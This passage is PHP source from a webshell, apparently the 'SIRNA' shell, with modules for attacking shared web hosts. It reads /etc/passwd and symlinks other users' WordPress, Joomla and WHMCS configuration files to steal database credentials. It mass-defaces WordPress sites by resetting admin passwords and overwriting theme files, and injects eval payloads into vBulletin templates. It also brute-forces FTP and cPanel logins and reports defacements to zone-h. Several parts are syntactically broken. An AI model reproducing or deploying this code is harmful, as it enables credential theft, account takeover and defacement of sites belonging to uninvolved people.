                $rs = "/home/" . $us . "/public_html/" . $c;
                $r  = "HostGator/" . $us . " .. " . $c;
                symlink($rs, $r);
            }
        }
    }
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'grabc')) { @ini_set('output_buffering',0);
    echo "
<form method='POST'>
</head>
<style>
textarea{resize:none;color:#000;background-color:#000;font-size:8pt;color:#fff;border:1px solid white;border-left:4px solid white;width:543px;height:400px}input{color:#000;border:1px dotted white}
</style>";
echo "<center>";</center><br><center>if (empty($_POST['config'])) {<p><font face="Cabin" color="springgreen" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='inputz' rows='15' cols='60'>echo file_get_contents('/etc/passwd');</textarea><br><br><input name="config" class='inputz' size="100" value="Grab!" type="submit"><br></form></center><br>}if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('Sad-Conf', 0755);@chdir('Sad-Conf');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
$passwd=explode("\n",$passwd);
echo "<br><br><center><font face='cabin' color=Crimson size=2pt>Kalem Ndan Lagi Di Proses...</center><br>";
foreach($passwd as $pwd){
$pawd=explode(":",$pwd);$user =$pawd[0];
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
echo '<b><font face="Homenaje" color="springgreen" size="3pt"><b>Selesai Bro Monggo >></b> <a target="_blank" href="Sad-Conf">Hajar Config</a></font></b>';}
die();
}
/////// Cukup Sampai Disini ya Grabber :( ////////

elseif (isset($_GET['x']) && ($_GET['x'] == 'vb')) {
    if (empty($_POST['index'])) {
        echo "<center><br><br><FORM method='POST'>host : <INPUT size='15' class='inputz' value='localhost' name='localhost' type='text'>&nbsp;|&nbsp;database : <INPUT class='inputz' size='15' value='db_name' name='database' type='text'>&nbsp;|&nbsp;username : <INPUT class='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;|&nbsp;password : <INPUT class='inputz' size='15' value='bd_pass' name='password' type='text'>&nbsp;|&nbsp;perfix : <input class='inputz' size='15' value='' name='perfix' type='text'><br><textarea class='inputz' name='index' cols='40' rows='10'>Hacked By CyberTeamRox</textarea><br><INPUT class='inputzbut' value='Deface' name='send' type='submit'></FORM></center>";
    } else {
        $localhost = $_POST['localhost'];
        $database  = $_POST['database'];
        $username  = $_POST['username'];
        $password  = $_POST['password'];
        $perfix    = $_POST['perfix'];
        $index     = $_POST['index'];
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $index     = str_replace("\'", "'", $index);
        $set_index = "{\${eval(base64_decode(\'";
        $set_index .= base64_encode("echo '$index';");
        $set_index .= "\'))}}{\${exit()}}</textarea>";
        $ok = @mysql_query("UPDATE " . $perfix . "template SET template ='" . $set_index . "' WHERE title ='FORUMHOME'") or die(mysql_error());
        if ($ok) {
            echo "Defaced<br><br>";
        }
    }
}

 elseif (isset($_GET['x']) && ($_GET['x'] == 'wm')) {
    ini_set("display_errors", "0");
    set_time_limit(0);
    @session_start();
    $base_path = dirname(__FILE__) . '/';
    function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
    {
        $ar0 = explode($marqueurDebutLien, $text);
        $ar1 = explode($marqueurFinLien, $ar0[$i]);
        return trim($ar1[0]);
    }
    function randomt()
    {
        $chars = "abcdefghijkmnopqrstuvwxyz023456789";
        srand((double) microtime() * 1000000);
        $i    = 0;
        $pass = '';
        while ($i <= 7) {
            $num  = rand() % 33;
            $tmp  = substr($chars, $num, 1);
            $pass = $pass . $tmp;
            $i++;
        }
        return $pass;
    }
    function index_changer_wp($conf, $content)
    {
        $output   = '';
        $dol      = '$';
        $username = entre2v2($conf, "define('DB_USER', '", "');");
        $password = entre2v2($conf, "define('DB_PASSWORD', '", "');");
        $dbname   = entre2v2($conf, "define('DB_NAME', '", "');");
        $prefix   = entre2v2($conf, $dol . "table_prefix  = '", "'");
        $host     = entre2v2($conf, "define('DB_HOST', '", "');");
        $link     = mysql_connect($host, $username, $password);
        if ($link) {
            mysql_select_db($dbname, $link);
            $dol  = '$';
            $req1 = mysql_query("UPDATE `" . $prefix . "users` SET `user_login` = 'k2',`user_pass` = '4297f44b13955235245b2497399d7a93' WHERE `ID` = 1");
        } else {
            $output .= "[-] DB Error<br>";
        }
        if ($req1) {
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='home'");
            $data          = mysql_fetch_array($req);
            $site_url      = $data["option_value"];
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='template'");
            $data          = mysql_fetch_array($req);
            $template      = $data["option_value"];
            $req           = mysql_query("SELECT * from  `" . $prefix . "options` WHERE option_name='current_theme'");
            $data          = mysql_fetch_array($req);
            $current_theme = $data["option_value"];
            $useragent     = "Mozilla/4.0 (compatible;MSIE 7.0b;Windows NT 5.1;.NET CLR 1.1.4322;Alexa Toolbar;.NET CLR 2.0.50727)";
            $url2          = $site_url . "/wp-login.php";
            $ch            = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "log=k2&pwd=123123&rememberme=forever&wp-submit=Log In&testcookie=1");
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer = curl_exec($ch);
            $pos    = strpos($buffer, "action=logout");
            if ($pos === false) {
                $output .= "[-] Successful Login<br>";
            } else {
                $output .= "[+] Successful Login<br>";
            }
            $url2 = $site_url . "/wp-admin/theme-editor.php?file=/themes/" . $template . '/index.php&theme=' . urlencode($current_theme) . '&dir=theme';
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer0  = curl_exec($ch);
            $_wpnonce = entre2v2($buffer0, '<input type="hidden" id="_wpnonce" name="_wpnonce" value="', '" />');
            $_file    = entre2v2($buffer0, '<input type="hidden" name="file" value="', '" />');
            if (substr_count($_file, "/index.php") != 0) {
                $output .= "[+] index.php Opened<br>";
            } else {
                $output .= "[-] index.php Unable to open<br>";
            }
            $url2 = $site_url . "/wp-admin/theme-editor.php";
            curl_setopt($ch, CURLOPT_URL, $url2);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "newcontent=" . $content . "&action=update&file=" . $_file . "&_wpnonce=" . $_wpnonce . "&submit=Update File");
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
            curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
            $buffer = curl_exec($ch);
            curl_close($ch);
            $pos  = strpos($buffer, '<div id="message" class="updated">');
            $cond = 0;
            if ($pos === false) {
                $output .= "[-] index.php Failed<br>";
            } else {
                $output .= "[+] index.php Failed+<br>";
                $cond = 1;
            }
        } else {
            $output .= "[-] DB Error<br>";
        }
        global $base_path;
        unlink($base_path . 'COOKIE.txt');
        return array(
            'cond' => $cond,
            'output' => $output
        );
    }
    function exec_mode_1($def_url)
    {
        @mkdir('sym', 0777);
        $wr = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
        $fp = @fopen('sym/.htaccess', 'w');
        fwrite($fp, $wr);
        @symlink('/', 'sym/root');
        $dominios = @file_get_contents("/etc/named.conf");
        @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
        $out[1]          = array_unique($out[1]);
        $numero_dominios = count($out[1]);
        echo "Total Websites: $numero_dominios <br><br>";
        $def                = file_get_contents($def_url);
        $def                = urlencode($def);
        $base_url           = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/sym/root/home/';
        $output             = fopen('defaced.html', 'a+');
        $_SESSION['count1'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count1']) ? $_SESSION['count1'] : 0) : 0;
        $_SESSION['count2'] = (isset($_GET['st']) && $_GET['st'] != '') ? (isset($_SESSION['count2']) ? $_SESSION['count2'] : 0) : 0;
        echo '<table style="width:75%;"><tr style="background:rgba(160, 82, 45,0.6);"><th>ID</th><th>SID</th><th>Domain</th><th>Script</th><th>Process</th><th>Results</th></tr>';
        $j  = 1;
        $st = (isset($_GET['st']) && $_GET['st'] != '') ? $_GET['st'] : 0;
        for ($i = $st; $i <= $numero_dominios; $i++) {
            $domain       = $out[1][$i];
            $dono_arquivo = @fileowner("/etc/valiases/" . $domain);
            $infos        = @posix_getpwuid($dono_arquivo);
            $config02     = @file_get_contents($base_url . $infos['name'] . "/public_html/wp-config.php");
            $cls          = ($j % 2 == 0) ? 'class="even"' : 'class="odd"';
            if ($config02 && preg_match('/DB_NAME/i', $config02)) {
                echo '<tr ' . $cls . '><td align="center">' . ($j++) . '</td><td align="center">' . $i . '</td><td><a href="http://' . $domain . '" target="blank">' . $domain . '</a></td>';
                echo '<td align="center"><font color="yellow">WORDPRESS</font></td>';
                $res = index_changer_wp($config02, $def);
                echo '<td>' . $res['output'] . '</td>';
                if ($res['cond']) {
                    echo '<td align="center"><span class="green">HACKED</span></td>';
                    fwrite($output, 'http://' . $domain . "<br>");
                    $_SESSION['count2'] = $_SESSION['count2'] + 1;
                } else {
                    echo '<td align="center"><span class="red">unsuccessful</span></td>';
                }
                echo '</tr>';
            }
        }
        echo '</table>';
        echo '<hr/>';
        echo 'Total Deface = ' . ($_SESSION['count1'] + $_SESSION['count2']) . '<br>';
        echo '<a href="defaced.html" target="_blank">List Websites Defaced</a><br>';
    }
    echo '<head><p><h2 style="color:#FF0000;text-align: center;font-family:orbitron;font-size:25px;">Wordpress Mass Defacer</h2><link href="http://fonts.googleapis.com/css?family=Orbitron:700" rel="stylesheet" type="text/css"><style type="text/css">body {color: white;font-family: "orbitron";}.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}</style></p><script type="text/javascript">function change() {if(document.getElementById(\'rcd\').checked == true) {document.getElementById(\'tra\').style.display = \'\';} else {document.getElementById(\'tra\').style.display = \'none\';} }function hide() {document.getElementById(\'tra\').style.display = \'none\';}</script></head><body><div class="footer"><a href="https://facebook.com/Krypton" target="_blank"><h3 style="text-align: center;">' . base64_decode('S3J5cHRvbg==') . '</h3></a></div><div>';
    if (!isset($_POST['form_action'])) {
        echo '<div align="center"><center><img class="HoverBorder" alt="" src="http://data.whicdn.com/images/109178420/large.jpg";' . $tunisia . '" /></center><form action="" method="post"><input type="hidden" name="form_action" value="1"><br>index url:<input class="inputz" type="text" name="indexadresi" size="30" value="http://site.com/index.html" /><br><br><input class="inputzbut" type="submit" value="Deface" name="Submit"></form> </div>';
    }
    echo '<div align="center">';
    if ($_POST['form_action'] == 1) {
        exec_mode_1($_POST['indexadresi']);
    }
    echo '</div></div></body></html>';
} elseif (isset($_GET['x']) && ($_GET['x'] == 'zone-h')) {
    $defacer         = 'Krypton';
    $display_details = 0;
    $method          = 14;
    $reason          = 5;
    error_reporting(0);
    set_time_limit(0);
    if (!function_exists('curl_init')) {
        echo "CURL ERROR\n";
        exit;
    }
    $cli = (isset($argv[0])) ? 1 : 0;
    if ($cli == 1) {
        $file  = $argv[1];
        $sites = file($file);
        if (!file_exists($file)) {
            echo "<br><br><center><h1>error !</h1></center>\n";
            exit;
        }
    } else {
        if (function_exists(apache_setenv)) {
            @apache_setenv('no-gzip', 1);
        }
        @ini_set('zlib.output_compression', 0);
        @ini_set('implicit_flush', 1);
        @ob_implicit_flush(true);
        @ob_end_flush();
        if (isset($_POST['domains'])) {
            $sites = explode("\n", $_POST['domains']);
        }
        if (file_exists($_FILES["file"]["tmp_name"])) {
            $file  = $_FILES["file"]["tmp_name"];
            $sites = file($file);
        }
        echo <<<EOF
<div align="center"><table width="67%"><tr><td align=center></td></tr></table><br><pre>
EOF;
        if (!isset($_POST['defacer'])) {
            echo <<<EOF
<form enctype="multipart/form-data" method="POST"><div align='center'><span lang='en-us'><b>Defacer&nbsp;:</b></span><input class='inputz' name="defacer" type="text" value="$defacer" /><br/><table width='55%'><tr><td align='center'><span lang='en-us'><b>Domains:</b></span><p align='center'>&nbsp;<textarea rows='30' name='domains' cols='50' class='inputz'></textarea><br/><span lang='en-us'><b>OR</b></span><br/>Submit form .txt file:<br/><input name="file" type="file" /><br><br/><br/><input class='inputzbut' type='submit' value='    Send    ' name='submit'></p></td></tr></table></form>
EOF;
        }
        $defacer = $_POST['defacer'];
    }
    if (!$sites) {
        echo '</pre>';
        exit;
    }
    $sites = array_unique(str_replace('http://', '', $sites));
    $total = count($sites);
    echo "[+] Total unique domain: $total\n\n";
    $pause = 10;
    $start = time();
    $main  = curl_multi_init();
    for ($m = 0; $m < 3; $m++) {
        $http[] = curl_init();
    }
    for ($n = 0; $n < $total; $n += 30) {
        if ($display_details == 1) {
            for ($x = 0; $x < 30; $x++) {
                echo '[+] Adding ' . rtrim($sites[$n + $x]) . '';
                echo "\n";
            }
        }
        $d = $n + 30;
        if ($d > $total) {
            $d = $total;
        }
        echo "=====================>[$d/$total]\n";
        for ($w = 0; $w < 3; $w++) {
            $p = $w * 10;
            if (!(isset($sites[$n + $p]))) {
                $pause = $w;
                break;
            }
            $posts[$w] = "defacer=$defacer&domain1=http%3A%2F%2F" . rtrim($sites[$n + $p]) . "&domain2=http%3A%2F%2F" . rtrim($sites[$n + $p + 1]) . "&domain3=http%3A%2F%2F" . rtrim($sites[$n + $p + 2]) . "&domain4=http%3A%2F%2F" . rtrim($sites[$n + $p + 3]) . "&domain5=http%3A%2F%2F" . rtrim($sites[$n + $p + 4]) . "&domain6=http%3A%2F%2F" . rtrim($sites[$n + $p + 5]) . "&domain7=http%3A%2F%2F" . rtrim($sites[$n + $p + 6]) . "&domain8=http%3A%2F%2F" . rtrim($sites[$n + $p + 7]) . "&domain9=http%3A%2F%2F" . rtrim($sites[$n + $p + 8]) . "&domain10=http%3A%2F%2F" . rtrim($sites[$n + $p + 9]) . "&hackmode=" . $method . "&reason=" . $reason . "&submit=Send";
            $curlopt   = array(
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_ENCODING => true,
                CURLOPT_HEADER => false,
                CURLOPT_HTTPHEADER => array(
                    "Keep-Alive: 7"
                ),
                CURLOPT_CONNECTTIMEOUT => 3,
                CURLOPT_URL => 'http://www.zone-h.com/notify/mass',
                CURLOPT_POSTFIELDS => $posts[$w]
            );
            curl_setopt_array($http[$w], $curlopt);
            curl_multi_add_handle($main, $http[$w]);
        }
        $running = null;
        do {
            curl_multi_exec($main, $running);
        } while ($running > 0);
        for ($m = 0; $m < 3; $m++) {
            if ($pause == $m) {
                break;
            }
            curl_multi_remove_handle($main, $http[$m]);
            $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
            if ($code != 200) {
                while (true) {
                    echo ' [-]Error!....Retrying';
                    echo "\n";
                    sleep(5);
                    curl_exec($http[$m]);
                    $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
                    if ($code == 200) {
                        break 1;
                    }
                }
            }
        }
    }
    $end = time() - $start;
    echo 'Done';
    echo "\n\n[*]Time: $end seconds\n";
    curl_multi_close($main);
    if ($cli == 0) {
        echo '</pre></body></html>';
    }
    exit;
} 
 elseif (isset($_GET['x']) && ($_GET['x'] == 'about')) {
    echo '<br><center><k>WebShell Recoded By NoNameUser</k><br><br>S I R N A Merupakan Shell hasil recode dari shell k2ll33d & Sadness Shell , <br>kemudian ditambahkan beberapa fungsi-fungsi agar shell lebih powerful dan userfriendly.<br>
        beberapa fungsi diambil dari shell yang sudah ada dan selebihnya merupakan kreasi penulis sendiri.<br>shell ini aman dan bersih dari yang namanya Logger meskipun script ini diencode, <br>penulis tidak menyisipkan Logger pada gambar ataupun dalam script PHP ini.
        <br><k>Mail:&nbsp;<a href=mailto:htaccess12@gmail.com>Error Violence</a><br><br><a href="https://facebook.com/errorviolence" target="_blank">Facebook</k></a>&nbsp;</center><iframe width="0" height="0" src="https://www.youtube.com/embed/a3sbfHu-6Fk?autoplay=1" frameborder="0" allowfullscreen></iframe>';
} 
elseif (isset($_GET['x']) && ($_GET['x'] == 'brute')) {
    $connect_timeout = 5;
    set_time_limit(0);
    $submit    = $_REQUEST['submit'];
    $users     = $_REQUEST['users'];
    $pass      = $_REQUEST['passwords'];
    $target    = $_REQUEST['target'];
    $cracktype = $_REQUEST['cracktype'];
    if ($target == "") {
        $target = "localhost";
    }<div align="center"><form method="POST" style="border:1px solid #000000"><br>function ftp_check($host, $user, $pass, $timeout)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "ftp://$host");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
        curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FAILONERROR, 1);
        $data = curl_exec($ch);
        if (curl_errno($ch) == 28) {
            print "<b>Connection Timed out</b>";
            exit;
        } elseif (curl_errno($ch) == 0) {
            print "<table width='67%'><tr><td align=center><b>Username ($user) | Password ($pass)</b></td></tr></table>";
        }
        curl_close($ch);
    }
    function cpanel_check($host, $user, $pass, $timeout)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
        curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FAILONERROR, 1);
        $data = curl_exec($ch);
        if (curl_errno($ch) == 28) {
            print "<b>Connection Timed out</b>";
            exit;
        } elseif (curl_errno($ch) == 0) {
            print "<table width='67%'><tr><td align=center><b>[+]Username ($user) | Password ($pass)</b></td></tr></table>";
        }
        curl_close($ch);
    }
    if (isset($submit) && !empty($submit)) {
        if (empty($users) && empty($pass)) {
            print "<p><b>Error : Check The Users and Password List</b></p>";
            exit;
        }
        if (empty($users)) {
            print "<p><b>Error :Check The Users List</b></p>";
            exit;
        }
        if (empty($pass)) {
            print "<p><b>Error :Check The Password List</b></p>";
            exit;
        }
        ;
        $userlist = explode("\n", $users);
        $passlist = explode("\n", $pass);
        print "<b>[~] Wait ...</b><br><br>";
        foreach ($userlist as $user) {
            $pureuser = trim($user);
            foreach ($passlist as $password) {
                $purepass = trim($password);
                if ($cracktype == "ftp") {
                    ftp_check($target, $pureuser, $purepass, $connect_timeout);
                }
                if ($cracktype == "cpanel") {
                    cpanel_check($target, $pureuser, $purepass, $connect_timeout);
                }
            }
        }
    }
    echo "<form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value=$target></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
    system('ls /var/mail');
    echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\nadmin\n332211\n1478963\npassword\npasswd\n159357\n357951\n114477\npass\nPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form>";
    die();
} elseif (isset($_GET['x']) && ($_GET['x'] == 'joomla')) {
    if (empty($_POST['pwd'])) {
        echo "<center><br><br><br><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<INPUT value='change' class='inputzbut' name='send' type='submit'></FORM>";
    } else {
        $prefix    = $_POST['prefix'];
        $localhost = $_POST['localhost'];
        $database  = $_POST['database'];
        $username  = $_POST['username'];
        $password  = $_POST['password'];
        $admin     = $_POST['admin'];
        $pd        = ($_POST["pwd"]);
        $pwd       = md5($pd);
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $SQL = @mysql_query("UPDATE " . $prefix . "users SET username ='" . $admin . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
        $SQL = @mysql_query("UPDATE " . $prefix . "users SET password ='" . $pwd . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
        if ($SQL)
            echo "<br><br><center><h1>Done... go and login</h1></center>";
    }
} elseif (isset($_GET['x']) && ($_GET['x'] == 'domains')) {
    echo "<br><br><p align=center>Domains and Users</p>";
    $d0mains = @file("/etc/named.conf");
    if (!$d0mains) {
        die("<center>Error : i can't read [ /etc/named.conf ]</center>");
    }
    echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';
    foreach ($d0mains as $d0main) {
        if (eregi("zone", $d0main)) {
            preg_match_all('#zone "(.*)"#', $d0main, $domains);
            flush();
            if (strlen(trim($domains[1][0])) > 2) {
                $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
                echo "<tr><td><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td><td>" . $user['name'] . "</td></tr>";
                flush();
            }
        }
    }
    
} 
elseif (isset($_GET['krypton'])) {
    global $do, $scnya;
    function defacean($scnya){
        $do=$_SERVER['DOCUMENT_ROOT'];
        chdir($do);
        if(function_exists('fopen') && function_exists('fwrite'))
        {
            $script=fopen("index.php", "wb");
            if($script)
            { 
                fwrite($script, $scnya);
                echo '<script>alert("Berhasil Deface :v => index.php");</script>';
            }
            else
            {
             echo '<script>alert("Akses Ditolak")</script>';
            }
            fclose($script);
        }
    }
<br/><br/>
}
elseif (isset($_GET['x']) && ($_GET['x'] == 'wordpress')) {
    if (empty($_POST['pwd'])) {
        echo "<br><br><br><br><br><br><FORM method='POST'>DB_Prefix :  <INPUT class ='inputz' size='15' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;host     :  <INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;database :  <INPUT class ='inputz' size='15' value='Database' name='database' type='text'>&nbsp;&nbsp;username :  <INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;&nbsp;password :  <INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New username :  <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password :  <INPUT class ='inputz' name='pwd' size='15' value='123123'><br>&nbsp;&nbsp;<br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM>";
    } else {
        $prefix    = $_POST['prefix'];
        $localhost = $_POST['localhost'];
        $database  = $_POST['database'];
        $username  = $_POST['username'];
        $password  = $_POST['password'];
        $pwd       = $_POST['pwd'];
        $admin     = $_POST['admin'];
        @mysql_connect($localhost, $username, $password) or die(mysql_error());
        @mysql_select_db($database) or die(mysql_error());
        $hash = crypt($pwd);
        $k2 = @mysql_query("UPDATE " . $prefix . "users SET user_login ='" . $admin . "' WHERE ID = 1") or die(mysql_error());
        $k2 = @mysql_query("UPDATE " . $prefix . "users SET user_pass ='" . $hash . "' WHERE ID = 1") or die(mysql_error());
        if ($k2) {
            echo '<br><br><center><h1>Done ... go and login</h1></center>';
        }
    }
    echo '</center>';
} elseif (isset($_GET['x']) && ($_GET['x'] == 'string')) {
